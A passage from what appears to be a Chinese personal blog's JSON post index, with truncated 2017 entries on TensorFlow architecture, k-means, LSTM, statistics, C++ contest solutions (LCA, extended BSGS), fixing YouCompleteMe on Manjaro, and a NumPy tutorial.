#会自动去logdir中去找checkpoint，如果没有的话，自动执行初始化 12 for i in xrange(1000): 13 update_ = sess.run(update) 14 print update_ 15 if i % 10 == 0: 16 merged_summary = sess.run(merged_summary_op) 17 sv.summary_computed(sess, merged_summary,global_step=i) 18 if i0 == 0: 19 saver.save(sess,logdir=\"/home/keith/tmp/\",global_step=i) 结论 # 从上面代码可以看出，Supervisor帮助我们处理一些事情 （1）自动去checkpoint加载数据或初始化数据 （2）自身有一个Saver，可以用来保存checkpoint （3）有一个summary_compute","date":"2017-08-04","externalUrl":null,"permalink":"/2017/08/tensorflow-supervisor-notes/","section":"Posts","summary":"update:supervisor的缺点是遇到问题只会抛异常，所以现在有一个better的管理工具,MonitoredSession","tags":["supervisor","tensorflow"],"title":"tensorflow Supervisor 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"其实这算法巨简单。。。。让我想到了均分纸牌（noip200? 还是大致说一下： 对于有 features 但是 **没有 **labels 的数据，没办法用监督学习，但是可以使用非监督学习的聚类算法。 所谓聚类，简单理解，就是把相似的分成一组。。。 k-means就是一个常见的聚类算法。。。 k代表可以把数据分成k组。 举一个平面上二维点的例子，算法步骤如下： 1. 随机k个点当做k个点作为k组的中心。 2. 根据现在的k个中心，将数据集中的点，按照【距离哪个中心最近就属于哪个中心】的原则，分组。 3. 在每一个组内求点的二维平均数，作为新的中心。**如果存在一个组的数据中心改变，那么返回2，否则结束**。![](http://stanford.edu/~cpiech/cs221/img/kmeansViz.png) 可以很容易推广到高维度，就只是求平均数和算距离的时候有区别。 一般化的流程： 然后该算法是Expectation Maximization的一个特例 该算法和KNN算法没有半毛钱关系。。。 参考资料： k means 维基百科 CS221-kmeans","date":"2017-08-03","externalUrl":null,"permalink":"/2017/08/k-means-clustering-notes/","section":"Posts","summary":"其实这算法巨简单。。。。让我想到了均分纸牌（noip200? 还是大致说一下：","tags":["k-means"],"title":"k-means clustering 学习笔记","type":"post"},{"categories":["deep-learning"],"content":"Adding a New Op # * [目录](https://www.tensorflow.org/extend/adding_an_op#top_of_page) * [定义运算的接口](https://www.tensorflow.org/extend/adding_an_op#define_the_ops_interface) * [实现运算的核心部分(kernels)](https://www.tensorflow.org/extend/adding_an_op#implement_the_kernel_for_the_op) * [多线程cpu kernels](https://www.tensorflow.org/extend/adding_an_op#multi-threaded_cpu_kernels) * [GPU kernels](https://www.tensorflow.org/extend/adding_an_op#gpu_kernels) * [构建运算库](https://www.tensorflow.org/extend/adding_an_op#build_the_op_library) * [用系统编译器编译你的运算（TensorFlow binary installation）](https://www.tensorflow.org/extend/adding_an_op#compile_the_op_using_your_system_compiler_tensorflow_binary_installation) * [使用bazel编译你的运算(TensorFlow source installation)](https://www.tensorflow.org/extend/adding_an_op#compile_the_op_using_bazel_tensorflow_source_installation) * [在 Python 中使用你的运算](https://www.tensorflow.org/extend/adding_an_op#use_the_op_in_python) * [验证你添加的运算可以工作](https://www.tensorflow.org/extend/adding_an_op#verify_that_the_op_works) * [在你的运算中添加高级特性](https://www.tensorflow.org/extend/adding_an_op#building_advanced_features_into_your_op) * [条件检查和验证](https://www.tensorflow.org/extend/adding_an_op#conditional_checks_and_validation) * [Op registration](https://www.tensorflow.org/extend/adding_an_op#op_registration) * [GPU Support](https://www.tensorflow.org/extend/adding_an_op#gpu_support) * [用python 实现梯度](https://www.tensorflow.org/extend/adding_an_op#implement_the_gradient_in_python) * [Shape functions in C++](https://www.tensorflow.org/extend/adding_an_op#shape_functions_in_c) 对于要添加原生tensorflow中没有定义的运算的需求，首先建议在python层面，能不能将需要的op用其他原生的op拼凑起来。 如果不能这样做，或者这样做逻辑很复杂，或者这样做效率比较低的时候，我们才考虑在cpp层面添加一个新的op 去实现你自定义的运算需要如下步骤： 1. 在C++文件中注册该运算。包含参数个数，类型，返回值类型，运算名称等。大概就是C++头文件中函数的定义吧.同时在此处也要定义shape function 2.","date":"2017-08-02","externalUrl":null,"permalink":"/2017/08/tensorflow-architecture-notes-2/","section":"Posts","summary":"Adding a New Op # * [目录](https://www.tensorflow.org/extend/adding_an_op#top_of_page) * [定义运算的接口](https://www.tensorflow.org/extend/adding_an_op#define_the_ops_interface) * [实现运算的核心部分(kernels)](https://www.tensorflow.org/extend/adding_an_op#implement_the_kernel_for_the_op) * [多线程cpu kernels](https://www.tensorflow.org/extend/adding_an_op#multi-threaded_cpu_kernels) * [GPU kernels](https://www.tensorflow.org/extend/adding_an_op#gpu_kernels) * [构建运算库](https://www.tensorflow.org/extend/adding_an_op#build_the_op_library) * [用系统编译器编译你的运算（TensorFlow binary installation）](https://www.tensorflow.org/extend/adding_an_op#compile_the_op_using_your_system_compiler_tensorflow_binary_installation) * [使用bazel编译你的运算(TensorFlow source installation)](https://www.tensorflow.org/extend/adding_an_op#compile_the_op_using_bazel_tensorflow_source_installation) * [在 Python 中使用你的运算](https://www.tensorflow.org/extend/adding_an_op#use_the_op_in_python) * [验证你添加的运算可以工作](https://www.tensorflow.org/extend/adding_an_op#verify_that_the_op_works) * [在你的运算中添加高级特性](https://www.tensorflow.org/extend/adding_an_op#building_advanced_features_into_your_op) * [条件检查和验证](https://www.tensorflow.org/extend/adding_an_op#conditional_checks_and_validation) * [Op registration](https://www.tensorflow.org/extend/adding_an_op#op_registration) * [GPU Support](https://www.tensorflow.org/extend/adding_an_op#gpu_support) * [用python 实现梯度](https://www.tensorflow.org/extend/adding_an_op#implement_the_gradient_in_python) * [Shape functions in C++](https://www.tensorflow.org/extend/adding_an_op#shape_functions_in_c) 对于要添加原生tensorflow中没有定义的运算的需求，首先建议在python层面，能不能将需要的op用其他原生的op拼凑起来。","tags":["tensorflow"],"title":"TensorFlow Architecture 学习笔记（二）Adding a New Op","type":"post"},{"categories":["其他"],"content":"昨天pinduoduo笔试遇到了，看心情蒙的2333，来学习一下 ** 峰度（Kurtosis）和偏度（Skewness）** 重点：正太分布的峰度和偏度都是0 峰度是描述总体中所有取值分布形态陡缓程度的统计量。这个统计量需要与正态分布相比较，峰度为0表示该总体数据分布与正态分布的陡缓程度相同；峰度大于0表示该总体数据分布与正态分布相比较为陡峭，为尖顶峰；峰度小于0表示该总体数据分布与正态分布相比较为平坦，为平顶峰。峰度的绝对值数值越大表示其分布形态的陡缓程度与正态分布的差异程度越大。 峰度的具体计算公式为： 偏度与峰度类似，它也是描述数据分布形态的统计量，其描述的是某总体取值分布的对称性。这个统计量同样需要与正态分布相比较，**偏度为0表示其数据分布形态与正态分布的偏斜程度相同**；偏度大于0表示其数据分布形态与正态分布相比为正偏或右偏，即有一条长尾巴拖在右边，数据右端有较多的极端值；偏度小于0表示其数据分布形态与正态分布相比为负偏或左偏，即有一条长尾拖在左边，数据左端有较多的极端值。偏度的绝对值数值越大表示其分布形态的偏斜程度越大。 偏度的具体计算公式为：","date":"2017-08-02","externalUrl":null,"permalink":"/2017/08/kurtosisskewness/","section":"Posts","summary":"昨天pinduoduo笔试遇到了，看心情蒙的2333，来学习一下","tags":["偏度","峰度"],"title":"峰度（Kurtosis）和偏度（Skewness）","type":"post"},{"categories":["deep-learning"],"content":"这篇文章不会涉及tensorflow的具体使用，而是专注于介绍tensorflow的架构，目的是让开发者能够对tensorflow现有框架进行自定义的扩展。 tensorflow被设计用来处理大规模分布式训练，但是也足够灵活去处理新的machine learning模型或是系统层面的优化。 Overview # tensorflow的结构图如下： 从下往上大致上抽象程度越来越高。 其中C API那一层将tensorflow底层的runtime core 封装成不同语言（python,cpp,etc)的用户层代码，并提供相应的接口 这篇文章主要侧重如下layer: * **Client**: * 将计算定义为数据流图. * 使用 **[session](https://www.github.com/tensorflow/tensorflow/blob/r1.2/tensorflow/python/client/session.py)(**会话)启动图 的执行 * **Distributed Master** * 通过Session.run()中参数的定义，修改图中特定的子图 * 将子图分成多个pieces,使之运行在不同的进程和设备中） * 将得到的pieces分发到 worker services上 * 由worker services 启动graph pieces * **Worker Services** (one for each task) * Schedule the execution of graph operations using kernel implementations appropriate to the available hardware (CPUs, GPUs, etc). * 使用kernel中对于特定硬件设备(cpu,gpu,etc)合适的实现去安全图中操作的执行。 * 从其他worker service 处发送或接收运算结果 * **Kernel Implementations** * 完成各个操作的计算 client,master,worker的关系如下 “/job:worker/task:0” 和\"/job:ps/task:0\"都是运行在worker service上的tasks 其中ps是“parameter server”的缩写，也就是参数服务器。 PS负责模型参数的存储和更新，其他task在优化模型的参数的时候，会将更新传给ps ps的命名是按照使用来定义的，也就是哪个（些）worker services 用来承担了 parmmeter server 的task,那么其就被称之为ps 需要注意的是maaster和worker service是分布式tensorflow框架才有的概念。 Client # client就是和用户直接接触的那一层。用户通过Client program完成图的定义。 clinet program 中的operation可以是自己定义的，也可以直接调用现成的一些库 之后client 创建 一个session,session将刚刚定义好的图传到master节点，当client想要计算图中某个节点时，就会触发对master节点的调用从而开始计算。 下面为运算 S+=w*x+b 所建的图： Distributed master # * 对graph进行修剪以获得 完成client要求的运算所需要的子图。 * 划分graph,得到为每一个设备准备的graph pieces * 将这些graph pieces 缓存起来，以期在接下来的步骤中复用。 由于master节点可以看到计算的全局步骤，因此在master节点处可以进行一些常见的编译优化。 比如Common_subexpression_elimination 和Constant folding 所谓common_subexpression_elimination，指的就是对于同一个表达式的重复运算，我们在第一次运算后将其存起来，下次直接调用，以空间换时间 比如下面这个例子 1a = b * c + g; 2d = b * c * e; 3#it may be worth transforming the code to:","date":"2017-08-01","externalUrl":null,"permalink":"/2017/08/tensorflow-architecture-notes-1/","section":"Posts","summary":"这篇文章不会涉及tensorflow的具体使用，而是专注于介绍tensorflow的架构，目的是让开发者能够对tensorflow现有框架进行自定义的扩展。","tags":["tensorflow"],"title":"TensorFlow Architecture 学习笔记（一）","type":"post"},{"categories":["deep-learning"],"content":"参考资料： # 维基百科_长短期记忆(LSTM) Understanding LSTM Networks [译] 理解 LSTM 网络 LSTM笔记 翻译的比较一般，建议看原文….比如cell还是不要翻译成【细胞】比较好吧…让人以为和生物学的【细胞】有什么关系呢orz 说下我自己的理解： LSTM是一种特殊的RNN，所谓RNN,也就是循环神经网络，对之前的信息存在“记忆”，可以解决带有时序性的问题。 所谓时序性的问题，简单理解就是，当前的结果依赖于之前的信息。 比如“我来自内蒙古，我能讲一口流利的____” 横线处大概率填写“蒙语”，这是因为前面的信息“内蒙古” LSTM的全称是long short term memory, LSTM默认就可以记住长期信息，从而实现信息的持久化。 LSTM的本质是一种构造法，通过特定的设计完成信息的持久化。 LSTM有如下结构： 1、cell单元 # 最基本的单元，从上一个时间节点到当前时间节点是线性控制的。LSTM能够通过门结构增加或者减少信息。 门结构上有sigmoid层（输出01）作用，信息通过乘上一个01的来决定能够通过多少信息。 2、forget门 # forget门决定有多少历史信息能够通过，这一层通过ht−1ht−1和xtxt决定，ft=sigmoid(w(f)xt+u(i)ht−1)∈[0,1]ft=sigmoid(w(f)xt+u(i)ht−1)∈[0,1]作用到Ct−1Ct−1上。 3、input门和新的cell # input门是一个sigmoid层决定需要更新多少信息，新的cell是一个tanh层决定要添加多少信息进入记忆单元cell。分别为it=sigmoid(wixt+u(i)ht−1)it=sigmoid(wixt+u(i)ht−1)，与ct~=tanh(w(c)xt+ucht−1)ct~=tanh(w(c)xt+ucht−1) 4、更新记忆单元 # forget门作用在ct−1ct−1上，input门和新的cell结合加入组合成新的记忆单元ct=ft.∗ct−1+it.∗ctct=ft.∗ct−1+it.∗ct 5、output门 # 添加sigmoid 的output门决定cell单元的信息有多少输出，而cell上套一个tanh使输出在-1到1之间，ot=sigmoid(w(o)xt+u(o)ht−1)ot=sigmoid(w(o)xt+u(o)ht−1)，ht=ot.∗tanh(ct)ht=ot.∗tanh(ct)。","date":"2017-07-31","externalUrl":null,"permalink":"/2017/07/lstm-notes/","section":"Posts","summary":"参考资料： # 维基百科_长短期记忆(LSTM)","tags":["LSTM","RNN"],"title":"Long Short-Term Memory （LSTM） 网络 学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 一棵树，给出点权，问一条树链上第k大的点权，点权可以动态修改。 思路： # 暴力即可orz(数据是真的水啊。 求路径上的点的时候需要用到LCA 1/* *********************************************** 2Author :111qqz 3Created Time :2017年07月31日 星期一 01时12分54秒 4File Name :3078.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=8E4+7; 35int n,q; 36int val[N]; 37vector \u003c pi \u003e edge[N]; 38int in[N]; 39int E[2*N],R[2*N],dis[N],depth[2*N]; 40int p; 41int fa[N]; 42int dp[2*N][20]; 43void dfs( int u,int dep,int d,int pre) 44{ 45 46 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" dep:\"\u003c\u003cdep\u003c\u003c\" d:\"\u003c\u003cd\u003c\u003cendl; 47 fa[u] = pre; 48 p++; 49 E[p] = u; 50 depth[p] = dep; 51 R[u] = p ; 52 dis[u] = d; 53 54 55 int siz = edge[u].size(); 56 for ( int i = 0 ; i \u003c siz ; i++) 57 { 58 int v = edge[u][i].fst; 59 if (v==pre) continue; 60 dfs(v,dep+1,d+edge[u][i].sec,u); 61 62 p++; 63 E[p] = u; 64 depth[p] = dep; 65 } 66} 67 68 69 70int _min( int l,int r) 71{ 72 if (depth[l]\u003cdepth[r]) return l; 73 return r; 74} 75void rmq_init() 76{ 77 for ( int i = 1 ; i \u003c= 2*n+2 ; i++) dp[i][0] = i; 78 79 for ( int j = 1 ; (1\u003c\u003cj) \u003c= 2*n+2 ; j++) 80 for ( int i = 1 ; i + (1\u003c\u003cj)-1 \u003c= 2*n+2 ; i++) 81 dp[i][j] = _min(dp[i][j-1],dp[i+(1\u003c\u003c(j-1))][j-1]); 82} 83 84int rmq_min( int l,int r) ","date":"2017-07-30","externalUrl":null,"permalink":"/2017/07/hdu-3078/","section":"Posts","summary":"题目链接 题意： # 一棵树，给出点权，问一条树链上第k大的点权，点权可以动态修改。","tags":["dfs","LCA","rmq"],"title":"hdu 3078 Network (LCA)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给出一棵树，以及三个点（可能重合），问两两组成的3条路径中，哪2条路径重合部分最长。 思路： # LCA还是一下就能想到的，rmq+dfs在线求。 然后我开始分情况讨论，讨论了一年也没讨论完，哭哭 结论是：求出三个lca，并取深度最大的那个，就是我们要的三岔路口K，然后分别求出K到a，b，c三点的路径长度，取最大值+1就是答案。 所以我的问题在于，没有试图往一般性的方向考虑，以为讨论一下就可以了… 这大概就是所谓的猜结论？ 感性的理解的话，LCA越深，意味着另一个点到LCA的距离越远，也就是相交的路径越长 但是我的话，估计还是很难在短短不到一个小时内得出这样一般性的结论orz… 这大概就是数学方面的天赋差距把…T T 1/* *********************************************** 2Author :111qqz 3Created Time :2017年07月30日 星期日 15时12分34秒 4File Name :D.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,q; 35vector \u003c pi \u003e edge[N]; 36int in[N]; 37int E[2*N],R[2*N],dis[N],depth[2*N]; 38int p; 39int dp[2*N][20]; 40void dfs( int u,int dep,int d,int pre) 41{ 42 43 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" dep:\"\u003c\u003cdep\u003c\u003c\" d:\"\u003c\u003cd\u003c\u003cendl; 44 p++; 45 E[p] = u; 46 depth[p] = dep; 47 R[u] = p ; 48 dis[u] = d; 49 50 51 int siz = edge[u].size(); 52 for ( int i = 0 ; i \u003c siz ; i++) 53 { 54 int v = edge[u][i].fst; 55 if (v==pre) continue; 56 dfs(v,dep+1,d+edge[u][i].sec,u); 57 58 p++; 59 E[p] = u; 60 depth[p] = dep; 61 } 62} 63 64 65 66int _min( int l,int r) 67{ 68 if (depth[l]\u003cdepth[r]) return l; 69 return r; 70} 71void rmq_init() 72{ 73 for ( int i = 1 ; i \u003c= 2*n+2 ; i++) dp[i][0] = i; 74 75 for ( i","date":"2017-07-30","externalUrl":null,"permalink":"/2017/07/codeforces-div2-425d/","section":"Posts","summary":"题目链接 题意： # 给出一棵树，以及三个点（可能重合），问两两组成的3条路径中，哪2条路径重合部分最长。","tags":["dfs","LCA","rmq"],"title":"codeforces #425 D. Misha, Grisha and Underground (dfs+rmq在线求LCA,讨论了一年)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给出由小写字母，’?‘和’*‘组成的字符串s，仅由小写字母组成的字符串t,问按照规则s能否变成t. 规则如下：首先给出定义的[好字母]的字符串，[好字母]之外的都是[坏字母],对于s中每个‘?’，规定其必须替换为一个[好字母] 对于s中的每个‘*’，规定其必须替换为0个或者多个坏字母。 思路： # 显然带的会比较难搞。所以只说带的情况 我WA了好多次，原因是一开始读错题（或者题意不太清楚？），认为*只能最多替换一个[坏字母] 后来在这个思路上改，越改越复杂orz 仔细想一下，关键点有两个，一个是当前位置有三种情况{没有经过*,经过且仍在的作用域内，经过且已经出了的作用域} 如何知道的作用域呢？由于的替换是连续的，因此只要对比s和t的长度差就可以了。 对于不同的作用域，普通字母的判断位置是不同的，在经过*的作用域之后，普通字母（包括‘？’）记得加一个offset 所以第二个关键点就是，对于*的替换，一次判断完多个。 除此之外，注意下*可能为空的特殊情况，特判一下比较保险。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 24 Jul 2017 10:32:44 PM CST 4File Name :B.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34string good; 35int len,len2; 36vector\u003cchar\u003ego; 37string st; 38int n; 39string tmp; 40vector\u003cint\u003ezimu; //字母的位置 41vector\u003cint\u003efuhao; //符号的位置 42bool star; 43bool vis[26]; 44bool solve() 45{ 46 len2 = tmp.length(); 47 if (!star) 48 { 49 if (len2!=len) return false; 50 for ( int i = 0 ; i \u003c len2 ; i++) 51 { 52 if (st[i]=='?') 53 { 54 if (!vis[tmp[i]-'a']) return false; 55 }else 56 { 57 if (st[i]!=tmp[i]) return false; 58 } 59 } 60 return true; 61 } 62 if (star) 63 { 64 65 int stat = 0; //0表示没有经过*,1表示在*的作用域内，-1表示经过了*的作用域 66 if (len2\u003e=len) 67","date":"2017-07-30","externalUrl":null,"permalink":"/2017/07/codeforces-div2-425b/","section":"Posts","summary":"题目链接 题意： # 给出由小写字母，’?‘和’*‘组成的字符串s，仅由小写字母组成的字符串t,问按照规则s能否变成t.","tags":["brute force"],"title":"codeforces #425 B. Petya and Exam (暴力)","type":"post"},{"categories":["ACM"],"content":"题意：k^D=n(%p),求最小的D (1\u003c=K, P, N\u003c=10^9) 思路：出题人英文水平捉鸡。。。。 扩展BSGS算法即可，注意p\u003e=n的时候显然是无解的，判掉。 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 24 Jul 2017 09:43:41 PM CST 4File Name :2815.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34LL k,p,n; 35map\u003cLL,LL\u003emp; 36LL ksm(LL a,LL b,LL p) 37{ 38 LL res = 1LL; 39 while (b) 40 { 41 if (b\u00261) res = res * a % p; 42 b = b\u003e\u003e1LL; 43 a = a * a % p; 44 } 45 return res; 46} 47LL gcd( LL a,LL b){return b?gcd(b,a%b):a;} 48LL BSGS(LL a,LL b,LL p) 49{ 50 a%=p; 51 b%=p; 52 // if (a==0\u0026\u0026b==0) return 0; 53 // if (a==0) return -1; 54 if (b==1) return 0; 55 int cnt = 0 ; 56 LL t = 1; 57 for (int g = gcd(a,p); g!=1 ; g = gcd(a,p)) 58 { 59 if (b%g) return -1; 60 p/=g; 61 b/=g; 62 t=t*a/g%p; 63 cnt++; 64 if (b==t) return cnt; 65 } 66 mp.clear(); 67 int m = ceil(sqrt(double(p))); 68 LL base = b ; 69 for ( LL i = 0 ; i \u003c m ; i++) 70 { 71 mp[base] = i; 72 base = base * a % p; 73 } 74 base = ksm(a,m,p); 75 LL ret = t ; 76 for ( int i = 1 ; i \u003c= m+1 ; i++) 77 { 78 ret = ret * base % p; 79 if (mp.count(ret)) return i*m-mp[ret]+cnt; 80 } 81 return -1; 82} 83int main() 84{ 85 #ifndef ONLINE_JUDGE 86 freopen","date":"2017-07-28","externalUrl":null,"permalink":"/2017/07/hdu-2815/","section":"Posts","summary":"题意：k^D=n(%p),求最小的D (1\u003c=K, P, N\u003c=10^9) 思路：出题人英文水平捉鸡。。。。","tags":["BSGS","扩展BSGS"],"title":"hdu 2815 Mod Tree (扩展BSGS算法)","type":"post"},{"categories":["其他"],"content":"来来回回折腾了好多次，aur直接安装或者手动编译，安装后都无法补全 ycm的log文件是在/tmp目录下的。 发现问题是缺少libtinfo.so.5 12017-07-28 17:02:12,667 - ERROR - Error occurred while loading global extra conf /home/coder/.ycm_extra_conf.py 2Traceback (most recent call last): 3 File \"/home/coder/.vim/bundle/YouCompleteMe/third_party/ycmd/ycmd/../ycmd/extra_conf_store.py\", line 94, in _CallGlobalExtraConfMethod 4 module = Load( global_ycm_extra_conf, force = True ) 5 File \"/home/coder/.vim/bundle/YouCompleteMe/third_party/ycmd/ycmd/../ycmd/extra_conf_store.py\", line 173, in Load 6 module = LoadPythonSource( _RandomName(), module_file ) 7 File \"/home/coder/.vim/bundle/YouCompleteMe/third_party/ycmd/ycmd/../ycmd/utils.py\", line 400, in LoadPythonSource 8 return imp.load_source( name, pathname ) 9 File \"/home/coder/.ycm_extra_conf.py\", line 32, in \u003cmodule\u003e 10 import ycm_core 11ImportError: libtinfo.so.5: cannot open shared object file: No such file or directory 122017-07-28 17:02:12,667 - ERROR - libtinfo.so.5: cannot open shared object file: No such file or directory 13Traceback (most recent call last): 14 File \"/home/coder/.vim/bundle/YouCompleteMe/third_party/ycmd/ycmd/server_utils.py\", line 96, in CompatibleWithCurrentCore 15 ycm_core = ImportCore() 16 File \"/home/coder/.vim/bundle/YouCompleteMe/third_party/ycmd/ycmd/server_utils.py\", line 88, in ImportCore 17 import ycm_core as ycm_core 18ImportError: libtinfo.so.5: cannot open shared object file: No such file or directory 解决办法： 1 sudo pacman-key --refresh-keys 2 gpg --keyserver pgp.mit.edu --recv-keys C52048C0C0748FEE227D47A2702353E0F7E48EDB 3 yaourt -S libtinfo5 参考a资料 比较诡异的是，我把vim配置删掉，就可以补全，以至于之前一直以为是ycm和配置文件中的某个内容冲突。","date":"2017-07-28","externalUrl":null,"permalink":"/2017/07/install-YouCompleteMe-on-manjaro/","section":"Posts","summary":"来来回回折腾了好多次，aur直接安装或者手动编译，安装后都无法补全","tags":["archlinux","vim","youcompleteme"],"title":"manjaro(archlinux) 安装 YouCompleteMe","type":"post"},{"categories":["ACM"],"content":"Description # 已知数a,p,b，求满足a^x≡b(mod p)的最小自然数x。 Input # 每个测试文件中最多包含100组测试数据。 每组数据中，每行包含3个正整数a,p,b。 当a=p=b=0时，表示测试数据读入完全。 Output # 对于每组数据，输出一行。 如果无解，输出“No Solution”（不含引号），否则输出最小自然数解。 Sample Input # 5 58 33 2 4 3 0 0 0 Sample Output # 9 No Solution HINT # 100%的数据，a,p,b≤1e9。 2016.3.29新加数据一组 by 1430586275 思路：BSGS算法，需要注意这里没有保证(a,p)=1，因此不能直接使用BSGS算法。 我们称之为扩展BSGS算法… 但是其实并不是什么新东西，不过是几次gcd,将条件转化成满足BSGS算法的情况 1/* *********************************************** 2Author :111qqz 3Created Time :Mon 24 Jul 2017 08:54:25 PM CST 4File Name :2480.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34map\u003cLL,LL\u003emp; 35LL a,b,p; 36LL ksm(LL a,LL b,LL p) 37{ 38 LL res = 1LL; 39 while (b) 40 { 41 if (b\u00261) res = res * a % p; 42 b = b\u003e\u003e1LL; 43 a = a * a % p; 44 } 45 return res; 46} 47LL gcd( LL a,LL b){return b?gcd(b,a%b):a;} 48LL BSGS(LL a,LL b,LL p) 49{ 50 a%=p; 51 b%=p; 52 if (a==0\u0026\u0026b==0) return 0; 53 if (a==0) return -1; 54 if (b==1) return 0; 55 int cnt = 0 ; 56 LL t = 1; 57 for (int g = gcd(a,p); g!=1 ; g = gcd(a,p)) 58 { 59 if (b%g) return -1; 60 p/=g; 61 b/=g; 62 t=t*a/g%p; 63 cnt++; 64 if (b==t) return cnt; 65 } 66 mp.clear(); 67 int m = ceil(sqrt(double(p))); 68 LL base = b ; ","date":"2017-07-24","externalUrl":null,"permalink":"/2017/07/bzoj-2480/","section":"Posts","summary":"Description # 已知数a,p,b，求满足a^x≡b(mod p)的最小自然数x。","tags":["BSGS","扩展BSGS"],"title":"BZOJ 2480: Spoj3105 Mod (扩展BSGS算法，模板)","type":"post"},{"categories":["其他"],"content":"原文链接 感谢stanford,感谢原作者的翻译，我调整了一下代码格式，可以当做手册来用了，毕竟之前没怎么写过py 23333 译者注：本文智能单元首发，翻译自斯坦福CS231n课程笔记Python Numpy Tutorial，由课程教师Andrej Karpathy授权进行翻译。本篇教程由杜客翻译完成，Flood Sung、SunisDown、巩子嘉和一位不愿透露ID的知友对本翻译亦有贡献。 原文如下 # 这篇教程由Justin Johnson创作。 我们将使用Python编程语言来完成本课程的所有作业。Python是一门伟大的通用编程语言，在一些常用库（numpy, scipy, matplotlib）的帮助下，它又会变成一个强大的科学计算环境。 我们期望你们中大多数人对于Python语言和Numpy库比较熟悉，而对于没有Python经验的同学，这篇教程可以帮助你们快速了解Python编程环境和如何使用Python作为科学计算工具。 一部分同学对于Matlab有一定经验。对于这部分同学，我们推荐阅读 numpy for Matlab users页面。 你们还可以查看本教程的IPython notebook版。该教程是由Volodymyr Kuleshov和Isaac Caswell为课程CS 228创建的。 内容列表： Python 基本数据类型 容器 列表 字典 集合 元组 函数 类 Numpy 数组 访问数组 数据类型 数组计算 广播 SciPy 图像操作 MATLAB文件 点之间的距离 Matplotlib 绘制图形 绘制多个图形 图像 Python # Python是一种高级的，动态类型的多范型编程语言。很多时候，大家会说Python看起来简直和伪代码一样，这是因为你能够通过很少行数的代码表达出很有力的思想。举个例子，下面是用Python实现的经典的quicksort算法例子： def quicksort(arr): if len(arr) \u003c= 1: return arr pivot = arr[len(arr) / 2] left = [x for x in arr if x \u003c pivot] middle = [x for x in arr if x == pivot] right = [x for x in arr if x \u003e pivot] return quicksort(left) + middle + 